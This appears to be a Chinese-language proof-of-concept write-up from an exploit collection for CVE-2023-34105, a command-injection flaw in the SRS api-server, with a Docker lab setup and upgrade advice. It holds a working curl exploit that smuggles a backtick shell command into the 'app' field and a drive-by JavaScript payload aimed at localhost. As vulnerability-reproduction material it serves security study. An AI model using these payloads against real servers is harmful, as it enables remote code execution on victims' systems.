Files
Awesome-POC/中间件漏洞/SRS api-server 服务器命令执行漏洞 CVE-2023-34105.md
2026-01-12 15:49:00 +08:00

3.4 KiB

SRS api-server 服务器命令执行漏洞 CVE-2023-34105

漏洞描述

SRS 是一个实时视频服务器,支持 RTMP、WebRTC、HLS、HTTP-FLV、SRT、MPEG-DASH 和 GB28181。在版本 5.0.157、5.0-b1 和 6.0.48 之前,SRS 的 api-server 服务器容易受到命令注入驱动的攻击。攻击者可以向 /api/v1/snapshots 端点发送一个请求,其中包含要作为 POST 请求主体执行的任何命令。此问题可能导致远程代码执行(RCE)。版本 5.0.157、5.0-b1 和 6.0.48 包含修复程序。

参考链接:

漏洞影响

SRS v5.0.137~v5.0.156
SRS v6.0.18~v6.0.47

环境搭建

我们使用 SRS v5.0-a4 版本构建一个最小化测试环境,仅启动 srs-server。

Dockerfile

FROM golang:1.21-bullseye

WORKDIR /app
RUN apt-get update && apt-get install -y wget && rm -rf /var/lib/apt/lists/*
RUN wget https://github.com/ossrs/srs/releases/download/v5.0-a4/srs-server-5.0-a4.tar.gz
RUN tar -xzf srs-server-5.0-a4.tar.gz && rm srs-server-5.0-a4.tar.gz

WORKDIR /app/srs-server-5.0-a4/trunk/research/api-server
EXPOSE 8085
CMD ["go", "run", "server.go"]

docker-compose.yml

services:
  srs-api-stub:
    build: .
    container_name: srs-api-stub
    ports:
      - "8085:8085"
    restart: always

执行如下命令启动一个 SRS v5.0-a4 的 srs-server 服务:

docker-compose up -d --build

服务启动后,访问 http://your-ip:8085 即可查看服务。

漏洞复现

api-server 服务器存在命令注入漏洞。攻击者可以向 /api/v1/snapshots 端点发送请求,请求体中包含任何要执行的命令:

curl -i -s -k -X $'POST' \
    -H $'Host: your-ip:8085' -H $'Connection: close' -H $'Content-Type: application/json' \
    --data-binary $'{\"action\":  \"on_publish\",\"app\":  \"`touch /tmp/awesome_poc`\", \"stream\":\"foo\", \"vhost\": \"foo\",\"client_id\":\"foo\"}' \
    $'http://your-ip:8085/api/v1/snapshots'

成功执行命令,创建文件:

请注意,即使端口 8085 仅在本地主机接口上暴露,攻击者仍然可能使用 drive-by attack 来利用此服务。攻击者可以准备一个包含以下 JS 脚本的恶意网站:

<script>
	fetch("http://localhost:8085/api/v1/snapshots", {
        method: 'post',
        mode: 'no-cors',
        headers: {
            'Content-Type': 'text/plain'
        },
    	body: '{"action":  "on_publish", "app":  "`touch /tmp/pwned`", "stream":"foo", "vhost": "foo", "client_id":"foo"}',
	})
</script>

如果攻击者诱骗受害者在 api-server 服务运行时访问此页面,将能够远程访问并成功执行命令。

漏洞修复

更新至安全版本 v5.0.157, v5.0-b1, v6.0.48。